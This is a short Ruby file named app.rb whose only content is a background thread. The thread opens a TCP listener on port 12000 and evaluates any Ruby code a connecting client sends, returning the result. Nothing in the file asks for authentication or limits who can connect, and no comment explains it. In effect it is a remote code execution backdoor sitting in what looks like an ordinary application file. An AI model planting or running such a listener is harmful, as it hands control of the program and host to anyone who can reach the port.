app.rb

require 'socket'

Thread.new do
  __server = TCPServer.new 12000
  loop do
    Thread.new __server.accept do |__client|
      __binding = binding
      loop do
        __client.print '$ '
        cmd = __client.gets
        break unless cmd

        result = begin
                   __binding.eval(cmd).inspect
                 rescue => e
                   e
                 end
        __client.puts "=> #{result}"
      end
      __client.close
    end
  end
end